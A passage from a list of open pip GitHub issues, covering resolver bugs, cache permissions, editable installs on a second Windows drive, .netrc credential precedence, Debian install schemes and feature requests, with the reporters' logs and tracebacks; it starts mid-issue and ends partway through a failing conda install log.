
 _See also [discussion](https://github.com/pypa/pip/commit/0c284520c6d068cb25ac89d9dbee0456c2eba23a#r70774971) on the commit._


### Expected behavior

I've prepared a temporary fix where `template` is deep copied from `ireqs[0]` (see https://github.com/pypa/pip/pull/11018) which makes pip-tools' tests pass. Any ideas on how to avoid `ireqs` mutation which might lead to potential bugs?

### pip version

22.1.dev0

### Python version

3.8

### OS

macOS

### How to Reproduce

Unfortunately, I haven't found yet simple reproducer other than pip-tools' tests:

1. `git clone https://github.com/atugushev/pip-tools@new-resolver`
2. `cd pip-tools`
3. `tox -e py38-pipmain -- -k 'not network'`

### Output

https://github.com/jazzband/pip-tools/runs/5872141303?check_suite_focus=true

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: atugushev
labels: type: bug: A confirmed bug or unintended behavior
state: needs reproducer: Need to reproduce issue
issue_11018: state: open
title: Fix install requirement mutation during dependency resolution
body: Refs https://github.com/pypa/pip/issues/11019
user: atugushev
issue_11012: state: open
title: File permissions for cache shared between multiple users
body: ### What's the problem this feature will solve?

On a shared Linux system, we want to share pip's cache between multiple users, so packages are not downloaded 50 times when 50 users install the same package.

Currently on unix, when I set the cache directory to a directory which is readable and writable by a group and has the setgid bit set, the cache folders are created with permissions suitable for group-use when I set a correct umask (so, with umask 0002, I get permissions `drwxrwsr-x` on the `http` folder and its subfolders). However, all cache files are only readable and writable by the user who downloaded the file in question last. So, if the same user installs the same package multiple times, everything is nicely cached, but if another user installs the same package, it is not cached.

As far as understand, this happens because [`adjacent_tmp_file` uses `NamedTemporaryFile`](https://github.com/pypa/pip/blob/e6891135776732d137ef3591d58d0de624521628/src/pip/_internal/utils/filesystem.py#L82) which has file mode 0o600 hard coded for security reasons, irrespective of the umask.

### Describe the solution you'd like

Ideally, a config option would be added which uses settings suitable for shared caches, something like `cache-shared=True` or `cache-shared-group=my-shared-group-name` or so.

### Alternative Solutions

We could probably run a `chmod` periodically or something like this, but if it doesn't happen within pip itself, there will always be a delay between when the cache is created and when the cache is available for all users.

### Additional context

If the feature was generally welcome, I could also develop a pull request.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mikapfl
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11009: state: open
title: Impossible resolution for semingly resolvable requirements
body: ### Description

My requirements specify the following dependencies:

```
billiard!=2.*; sys_platform != "win32" 
celery[mongodb]>=5.1; sys_platform != "win32" and python_version >= "3.7"
```

Pip eventually reports the following and fails installation:

```
ERROR: Cannot install billiard!=2.*, celery[mongodb]==5.1.0, celery[mongodb]==5.1.1, celery[mongodb]==5.1.2, celery[mongodb]==5.2.0, celery[mongodb]==5.2.1, celery[mongodb]==5.2.2 and celery[mongodb]==5.2.3 because these package versions have conflicting dependencies.

The conflict is caused by:
ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
    The user requested billiard!=2.*
    celery[mongodb] 5.2.3 depends on billiard<4.0 and >=3.6.4.0
    The user requested billiard!=2.*
    celery[mongodb] 5.2.2 depends on billiard<4.0 and >=3.6.4.0
    The user requested billiard!=2.*
    celery[mongodb] 5.2.1 depends on billiard<4.0 and >=3.6.4.0
    The user requested billiard!=2.*
    celery[mongodb] 5.2.0 depends on billiard<4.0 and >=3.6.4.0
    The user requested billiard!=2.*
    celery[mongodb] 5.1.2 depends on billiard<4.0 and >=3.6.4.0
    The user requested billiard!=2.*
    celery[mongodb] 5.1.1 depends on billiard<4.0 and >=3.6.4.0
    The user requested billiard!=2.*
    celery[mongodb] 5.1.0 depends on billiard<4.0 and >=3.6.4.0
```

I'm not sure if this is related to #10873 since an extra is also involved in my case.

If I remove `billiard` entirely to let `celery` dependencies resolve it by itself, the installation instead times out due to too many combinations being explored. 
I have also tried with other variants, such as `billiard>=3`, `billiard<4.0,>=3.6.4.0` (exactly what `celery` asks for) and so on. 
No alternative seem to work. Pip always consider them as conflicting.


### Expected behavior

There shouldn't be any conflict / impossible resolution for valid version ranges.

### pip version

22.0.4

### Python version

3.6, 3.7, possibly following 3.x as well

### OS

Ubuntu 20.04

### How to Reproduce

Pip install requirements.txt file with the following:

```
billiard!=2.*; sys_platform != "win32" 
celery[mongodb]>=5.1; sys_platform != "win32" and python_version >= "3.7"
```

Full requirements file I'm actually using: https://github.com/crim-ca/weaver/blob/e56990e3b34814ae2b4882045eda1b5374b64584/requirements.txt



### Output

[pip.log](https://github.com/pypa/pip/files/8411001/pip.log)

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: fmigneault
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11002: state: open
title: pip does not find packages in develop mode when source code on another drive
body: ### Description

Hi,

On Windows 10 pro, after creating a fresh virtual env and having installed some packages in develop (with setup.cfg) mode, `pip list` either:

- shows nothing
- shows only packages not installed in develop mode, and those packages are not avaible for import from a python interpreter

For develop mode, I checked almost everything: build is correct, egg-info generated in source directory, egg-link file in the site-packages, content OK.

So I'm pretty sure the build process is correct.

Even more, I have 2 PC, almost same configuration, source code mirrored from one PC to another : on the first one everything runs perfectly fine, on the second one the faulty behaviour occurs. 

So I tried to find out if there was a difference in system configuration not related to python, and there was one:

- on system where everything is OK, I have only one drive (C:)
- on the faulty system, I have 2 drives: the operating system (C:) and a user drive (D:) where the source code is

And I finally found out that what `pip list` shows depends on where the virtual env directory is stored and where the source code is stored:

- virtualenv directory AND source code directory on C:
  - `pip list` shows everything
  - develop mode packages are avaible from python interpreter
- virtualenv directory on C: but source code on D:
  - `pip list` shows installed packages (not in dev mode)
  - develop mode packages are not listed nor available from python interpreter
- virtualenv directory AND source code directory on D:
  - `pip list` shows nothing (output is empty)
  - develop mode packages are not listed nor available from python interpreter

Best regards,

Antoine

### Expected behavior

Behaviour shall not depend on where (which drive) virtual env directory and source code are located?

### pip version

22.0.4

### Python version

3.8, 3.9, 3.10

### OS

Windows 10 21H2 build 19044.1586

### How to Reproduce

1. Create a new virtual env on C:
2. Update setuptools
3. Install a package from source code located on D: (no develop mode) -> OK
4. Uninstall package
5. Install same package in develop mode: `pip` thinks it is not installed even if `.egg-link` file is present
6. Install same package but source code located on C: in develop mode -> OK 

### Output

```sh-session
C:\Users\Home>"C:\Program Files\Python310\python.exe" -m venv C:\Users\Home\.virtualenvs\env1

C:\Users\Home>C:\Users\Home\.virtualenvs\env1\Scripts\activate.bat

(env1) C:\Users\Home>where pip
C:\Users\Home\.virtualenvs\env1\Scripts\pip.exe
C:\Program Files\Python39\Scripts\pip.exe

(env1) C:\Users\Home>pip list
Package    Version
---------- -------
pip        22.0.4
setuptools 58.1.0

(env1) C:\Users\Home>python
Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()

(env1) C:\Users\Home>python -m pip install -U setuptools
Requirement already satisfied: setuptools in c:\users\home\.virtualenvs\env1\lib\site-packages (58.1.0)
Collecting setuptools
  Using cached setuptools-61.3.1-py3-none-any.whl (1.1 MB)
Installing collected packages: setuptools
  Attempting uninstall: setuptools
    Found existing installation: setuptools 58.1.0
    Uninstalling setuptools-58.1.0:
      Successfully uninstalled setuptools-58.1.0
Successfully installed setuptools-61.3.1

(env1) C:\Users\Home>python -m pip install D:\Projets\python\selfee\ext\ansiformat
Processing d:\projets\python\selfee\ext\ansiformat
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Building wheels for collected packages: ansiformat
  Building wheel for ansiformat (pyproject.toml) ... done
  Created wheel for ansiformat: filename=ansiformat-0.0.3-py3-none-any.whl size=28180 sha256=a45a012083d2452c9c65e409366bb3133a15034813b2dde52dee7ca67268c1a7
  Stored in directory: C:\Users\Home\AppData\Local\Temp\pip-ephem-wheel-cache-i6mvynez\wheels\9d\ae\84\113fa25eb8d0124ab0a4a6cf0d1b76028259b7060397c6c624
Successfully built ansiformat
Installing collected packages: ansiformat
Successfully installed ansiformat-0.0.3

(env1) C:\Users\Home>pip list
Package    Version
---------- -------
ansiformat 0.0.3
pip        22.0.4
setuptools 61.3.1

(env1) C:\Users\Home>python -m pip uninstall ansiformat
Found existing installation: ansiformat 0.0.3
Uninstalling ansiformat-0.0.3:
  Would remove:
    c:\users\home\.virtualenvs\env1\lib\site-packages\ansiformat-0.0.3.dist-info\*
    c:\users\home\.virtualenvs\env1\lib\site-packages\ansiformat\*
Proceed (Y/n)? y
  Successfully uninstalled ansiformat-0.0.3

(env1) C:\Users\Home>python -m pip install -e D:\Projets\python\selfee\ext\ansiformat
Obtaining file:///D:/Projets/python/selfee/ext/ansiformat
  Installing build dependencies ... done
  Checking if build backend supports build_editable ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Installing collected packages: ansiformat
  Running setup.py develop for ansiformat
Successfully installed ansiformat

(env1) C:\Users\Home>pip list
Package    Version
---------- -------
pip        22.0.4
setuptools 61.3.1

(env1) C:\Users\Home>python
Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import ansiformat
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'ansiformat'
>>> exit()

(env1) C:\Users\Home>dir C:\Users\Home\.virtualenvs\env1\Lib\site-packages
 Le volume dans le lecteur C s’appelle Système
 Le numéro de série du volume est AC03-13DA

 Répertoire de C:\Users\Home\.virtualenvs\env1\Lib\site-packages

02/04/2022  16:01    <DIR>          .
02/04/2022  16:01    <DIR>          ..
02/04/2022  16:01                48 ansiformat.egg-link
02/04/2022  15:59               151 distutils-precedence.pth
02/04/2022  16:01                45 easy-install.pth
02/04/2022  15:58    <DIR>          pip
02/04/2022  15:58    <DIR>          pip-22.0.4.dist-info
02/04/2022  15:59    <DIR>          pkg_resources
02/04/2022  15:59    <DIR>          setuptools
02/04/2022  15:59    <DIR>          setuptools-61.3.1.dist-info
02/04/2022  15:59    <DIR>          _distutils_hack
               3 fichier(s)              244 octets
               8 Rép(s)  12 670 316 544 octets libres

(env1) C:\Users\Home>type C:\Users\Home\.virtualenvs\env1\Lib\site-packages\ansiformat.egg-link
D:\Projets\python\selfee\ext\ansiformat\src
../
(env1) C:\Users\Home>type C:\Users\Home\.virtualenvs\env1\Lib\site-packages\easy-install.pth
d:\projets\python\selfee\ext\ansiformat\src

(env1) C:\Users\Home>pip uninstall ansiformat
WARNING: Skipping ansiformat as it is not installed.

(env1) C:\Users\Home>del C:\Users\Home\.virtualenvs\env1\Lib\site-packages\easy-install.pth

(env1) C:\Users\Home>del C:\Users\Home\.virtualenvs\env1\Lib\site-packages\ansiformat.egg-link

(env1) C:\Users\Home>pip install -e C:\Users\Home\src\ansiformat
Obtaining file:///C:/Users/Home/src/ansiformat
  Installing build dependencies ... done
  Checking if build backend supports build_editable ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Installing collected packages: ansiformat
  Running setup.py develop for ansiformat
Successfully installed ansiformat-0.0.3

(env1) C:\Users\Home>pip list
Package    Version Editable project location
---------- ------- --------------------------------
ansiformat 0.0.3   c:\users\home\src\ansiformat\src
pip        22.0.4
setuptools 61.3.1

(env1) C:\Users\Home>type C:\Users\Home\.virtualenvs\env1\Lib\site-packages\ansiformat.egg-link
C:\Users\Home\src\ansiformat\src
../
(env1) C:\Users\Home>type C:\Users\Home\.virtualenvs\env1\Lib\site-packages\easy-install.pth
c:\users\home\src\ansiformat\src

(env1) C:\Users\Home>python
Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import ansiformat
>>> ansiformat.__path__
['c:\\users\\home\\src\\ansiformat\\src\\ansiformat']
>>> exit()

(env1) C:\Users\Home>
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: adm271828
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11000: state: open
title: list only specified packages
body: ### What's the problem this feature will solve?

Get version or other information only for the packages listed as arguments. This makes it easier to check the version for specific packages without seeing the whole list. In a support situation, it is much easier to ask for a single line of output, e.g., "What does `pip list click` show for you?"

### Describe the solution you'd like

```sh
$ pip list click typer
click                          8.0.3
typer                          0.4.0
```

Globbing or regexps could be possible, but that's icing on the cake and could be omitted from a first implementation.
```sh
$ pip list 'toml*'
toml                           0.10.2
tomli                          2.0.1
tomlkit                        0.10.0
```

### Alternative Solutions

Posix-ish systems can use `pip list | grep something`, but that's harder on Windows, and less familiar to novice users.
```sh
$ pip list | egrep 'click|typer'
$ pip list | grep 'toml.*'
```

### Additional context

[none]

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: dhalbert
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10986: state: open
title: Pip can't install packages (metadata bug)
body: ### Description

when i try to install any pip package, i always get:

Defaulting to user installation because normal site-packages is not writeable
Collecting [...]
  Using cached [...] (84 kB)
WARNING: Discarding https://files.pythonhosted.org/packages/[...] (from https://pypi.org[...]). Requested [...] from [...] has inconsistent version: filename has '0.117.0', but metadata has '0.117.0'


### Expected behavior

it should install the package because the filename and the metadata versions are literaly the same, and reinstalling python, reinstalling pip and updating the system doesen't seem to help.

### pip version

pip 21.0 from /usr/lib/python3.10/site-packages/pip (python 3.10)

### Python version

Python 3.10.3 (main, Mar 18 2022, 20:27:47) [GCC 11.2.0]

### OS

os: ArcoLinux kernel: 5.16.16-arch1-1

### How to Reproduce

i don't really know how to reproduce this bug, but i think trying this version of pip with this version of python on arcolinux should give the same problem (maybe)

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ghost
labels: type: bug: A confirmed bug or unintended behavior
project: <downstream>: When the cause/effect is related to redistributors
issue_10983: state: open
title: programmatically convenient output of `pip index versions`
body: ### What's the problem this feature will solve?

`pip index versions` is an experimental command that scratches the itch to check latest and available versions from index servers.

The output is clearly readable for humans but inconvenient to parse programmatically.

The two questions I think someone might want to query are:
- is a specific version equal to the latest version?
- is a specific version available?

To answer these, one has to resort to parsing the current output, and that depends on current formatting of the output.

### Describe the solution you'd like

There should be at least an option/flag to provide the output in a machine readable format. For example as json that one could conveniently parse with `jq`.

Alternatively there could be other subcommands to `pip index` that answer the two questions I noted directly.

### Alternative Solutions

is `PACKAGE_VERSION` in available versions?
```
echo "$index_versions_output, " | grep -q "${PACKAGE_VERSION}, "
```

get latest version
```
echo ${index_versions_output} | grep -o "${package_name} \(.*\)" | sed -E -n "s/.*\((.*)\).*$/\1/p"
```

### Additional context

-

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: C-nit
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10981: state: open
title: Is there a way to create / install universal2 pip packages on Darwin
body: ### What's the problem this feature will solve?

I'm attempting to create a portable python environment for Mac. Should be a core python package similar to virtual environment, with a couple of pip packages installed in it.

The problem is on Macos, where I need the package to be portable between M1 and x86_64 Macs. The core python package is built as a universal binary. I'm not seeing a way to install a pip package (say, numpy) in a similar manner; the `pip install` command always installs the binaries with the singular host architecture.

### Describe the solution you'd like

Some sort of CLI control allowing functionality similar to `--enable-universalsdk --with-universal-archs=universal2` configuration flags when building python

### Alternative Solutions

none

### Additional context

none

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: w3sip
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_10979: state: open
title: Authentication prioritize .netrc credentials over ones from url.
body: ### Description

I have private repository in Google Artifacts Registry.
I am able to install a package using following command without the issue:
```
pip install simple-package -i "https://oauth2accesstoken:$(gcloud auth print-access-token)@us-python.pkg.dev/$PROJECT/my-pypi-repo/simple"
```

Once I create `.netrc` file with another token (for example an invalid one) and run the command again pip is able to find tar.gz link using credentials from url, but it uses ~/.netrc credentials to download it (in this example since token is invalid it fails).

Anonymized -vvv output of installation attempt is in Output section.



### Expected behavior

Credentials in url should be preffered over .netrc ones.

### pip version

22.0.4

### Python version

3.7.1

### OS

Linux

### How to Reproduce

1. Create repository with required authentication and add package into it
2. Run `pip install --no-input --no-cache-dir --index-url "https://mylogin:realpassword@repo.url my-package`
3. Watch it installs successfully.
4. Uninstall the package `pip uninstall my-package`
5. Create `~/.netrc` file with following content: `machine repo.url login mylogin password fakepassword
6. Run `pip install --no-input --no-cache-dir --index-url "https://mylogin:realpassword@repo.url my-package` and see it fails


### Output

```sh-session
$ pip install  simple-package --no-input -vvv -i "https://oauth2accesstoken:$(gcloud auth print-access-token)@us-python.pkg.dev/$PROJECT/my-pypi-repo/simple"
Using pip 22.0.4 from $HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip (python 3.7)
Non-user install because user site-packages disabled
Created temporary directory: /tmp/pip-ephem-wheel-cache-qpruibfz
Created temporary directory: /tmp/pip-req-tracker-4_0o7qbx
Initialized build tracking at /tmp/pip-req-tracker-4_0o7qbx
Created build tracker: /tmp/pip-req-tracker-4_0o7qbx
Entered build tracker: /tmp/pip-req-tracker-4_0o7qbx
Created temporary directory: /tmp/pip-install-yd20cgdf
Looking in indexes: https://oauth2accesstoken:****@us-python.pkg.dev/$PROJECT/my-pypi-repo/simple
1 location(s) to search for versions of simple-package:
* https://oauth2accesstoken:****@us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/
Fetching project page and analyzing links: https://oauth2accesstoken:****@us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/
Getting page https://oauth2accesstoken:****@us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/
Found credentials in url for us-python.pkg.dev
Looking up "https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/" in the cache
Request header has "max_age" as 0, cache bypassed
Starting new HTTPS connection (1): us-python.pkg.dev:443
https://us-python.pkg.dev:443 "GET /$PROJECT/my-pypi-repo/simple/simple-package/ HTTP/1.1" 200 242
Updating cache with response from "https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/"
  Found link https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz (from https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/), version: 0.1
Skipping link: not a file: https://oauth2accesstoken:****@us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/
Given no hashes to check 1 links for project 'simple-package': discarding no candidates
Collecting simple_package
  Created temporary directory: /tmp/pip-unpack-h_1_vpv2
  Found credentials in netrc for us-python.pkg.dev
  Looking up "https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz" in the cache
  No cache entry available
  https://us-python.pkg.dev:443 "GET /$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz HTTP/1.1" 401 60
  ERROR: HTTP error 401 while getting https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz (from https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/)
ERROR: Could not install requirement simple_package from https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz because of HTTP error 401 Client Error: Unauthorized for url: https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz for URL https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz (from https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/)
Exception information:
Traceback (most recent call last):
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 538, in _prepare_linked_requirement
    hashes,
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 218, in unpack_url
    hashes=hashes,
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 94, in get_http_url
    from_path, content_type = download(link, temp_dir.path)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/network/download.py", line 133, in __call__
    resp = _http_get_download(self._session, link)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/network/download.py", line 117, in _http_get_download
    raise_for_status(resp)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/network/utils.py", line 54, in raise_for_status
    raise NetworkConnectionError(http_error_msg, response=resp)
pip._internal.exceptions.NetworkConnectionError: 401 Client Error: Unauthorized for url: https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/cli/base_command.py", line 167, in exc_logging_wrapper
    status = run_func(*args)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/cli/req_command.py", line 205, in wrapper
    return func(self, options, args)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 340, in run
    reqs, check_supported_wheels=not options.target_dir
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 95, in resolve
    collected.requirements, max_rounds=try_to_avoid_resolution_too_deep
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 481, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 348, in resolve
    self._add_to_criteria(self.state.criteria, r, parent=None)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 172, in _add_to_criteria
    if not criterion.candidates:
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_vendor/resolvelib/structs.py", line 151, in __bool__
    return bool(self._sequence)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 155, in __bool__
    return any(self)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 143, in <genexpr>
    return (c for c in iterator if id(c) not in self._incompatible_ids)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 47, in _iter_built
    candidate = func()
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 220, in _make_candidate_from_link
    version=version,
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 294, in __init__
    version=version,
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 158, in __init__
    self.dist = self._prepare()
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 227, in _prepare
    dist = self._prepare_distribution()
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 299, in _prepare_distribution
    return preparer.prepare_linked_requirement(self._ireq, parallel_builds=True)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 487, in prepare_linked_requirement
    return self._prepare_linked_requirement(req, parallel_builds)
  File "$HOME/.pyenv/versions/3.7.1/envs/workspace3.9/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 543, in _prepare_linked_requirement
    "error {} for URL {}".format(req, exc, link)
pip._internal.exceptions.InstallationError: Could not install requirement simple_package from https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz because of HTTP error 401 Client Error: Unauthorized for url: https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz for URL https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple-package/simple_package-0.1.tar.gz (from https://us-python.pkg.dev/$PROJECT/my-pypi-repo/simple/simple-package/)
Removed build tracker: '/tmp/pip-req-tracker-4_0o7qbx'
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: kramarz
labels: type: bug: A confirmed bug or unintended behavior
state: awaiting PR: Feature discussed, PR is needed
issue_10978: state: open
title: Fix the install scheme to `posix_prefix` when `--prefix` is passed
body: ### What's the problem this feature will solve?

On Debian systems, due to [the sysconfig patch](https://salsa.debian.org/cpython-team/python3/-/blob/master/debian/patches/sysconfig-debian-schemes.diff), `sysconfig.get_preferred_scheme('prefix')` will return `posix_local`, which is also the default scheme. This causes problem when using `--prefix <path>` with `pip install`, where packages are installed to `<prefix_path>/local/lib/pythonX.Y/dist-packages`. This is apparently wrong.

### Describe the solution you'd like

Add a special case to [`pip._internal.locations._sysconfig:get_scheme()`](https://github.com/pypa/pip/blob/051de2ff68cc9aa5dc16252de6d12b14fc1bb297/src/pip/_internal/locations/_sysconfig.py#L125-L132), when `posix_local` is found in `INSTALL_SCHEMES` and `prefix` is not None, rewrite the scheme as `posix_prefix`.

### Alternative Solutions

I am not sure if it is better to report it to Debian, but IMO it makes more sense to fix it in `pip` to be more robust.

### Additional context

- https://salsa.debian.org/cpython-team/python3/-/blob/master/debian/patches/sysconfig-debian-schemes.diff
- https://github.com/deadsnakes/issues/issues/182
- [Debian bug report](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1035546)

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: frostming
labels: type: bug: A confirmed bug or unintended behavior
project: <downstream>: When the cause/effect is related to redistributors
issue_10974: state: open
title: 'NoneType' object has no attribute 'loader'
body: ### Description

When creating an sdist of a package that has setup.cfg with the following:

```
[options]
package_dir=
    =src
packages=
    find_namespace:
namespace_packages=
    cool_package
```

When installing this package from the resulting `tar.gz` I get the following error  
```
Error processing line 1 of /blah/.venv/lib/python3.7/site-packages/cool_package.python-utils-nspkg.pth:

  Traceback (most recent call last):
    File "/blah/.pyenv/versions/3.7.10/lib/python3.7/site.py", line 168, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
    File "<frozen importlib._bootstrap>", line 580, in module_from_spec
  AttributeError: 'NoneType' object has no attribute 'loader'

Remainder of file ignored
```

NOTE: If I manually extracted the tar file, and pip installed from the resulting directory, I do not get the error.

When I change the `setup.cfg` to the following:

```
[options]
package_dir=
    =src
packages=
    cool_package.python_utils
```

It installs fine from the `tar.gz`.



### Expected behavior

Package should install from `tar.gz` the same way it installs from the extracted contents.

### pip version

22.0.4

### Python version

3.7.10

### OS

debian

### How to Reproduce

see above

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: 1-900-MIXALOT
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10971: state: open
title: A pip subprocess error when I create an environment for one project in its root folder. 
body: ### Description

Running Ubuntu 18.04 LTS as WSL2 on Win10, I need to create an environment to install Devito on my system. So, in a root folder of this project I do:
`(base) quant@NB-W-I-NIKONENKO:~/devito$ conda env create -f environment-dev.yml`
and get this:
````
Collecting package metadata (repodata.json): done
Solving environment: done
Preparing transaction: done
Verifying transaction: done
Executing transaction: done
Installing pip dependencies: \ Ran pip subprocess with arguments:
['/home/quant/anaconda3/envs/devito/bin/python', '-m', 'pip', 'install', '-U', '-r', '/home/quant/devito/condaenv.r9s6c4x4.requirements.txt']
Pip subprocess output:
Requirement already satisfied: pip>=9.0.1 in /home/quant/anaconda3/envs/devito/lib/python3.9/site-packages (from -r /home/quant/devito/requirements.txt (line 1)) (21.2.4)

Pip subprocess error:
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c959d970>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/pip/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c959d5b0>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/pip/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f27c959df10>: Failed to establish a new connection: [Errno -2] Name or service not known')': /simple/pip/
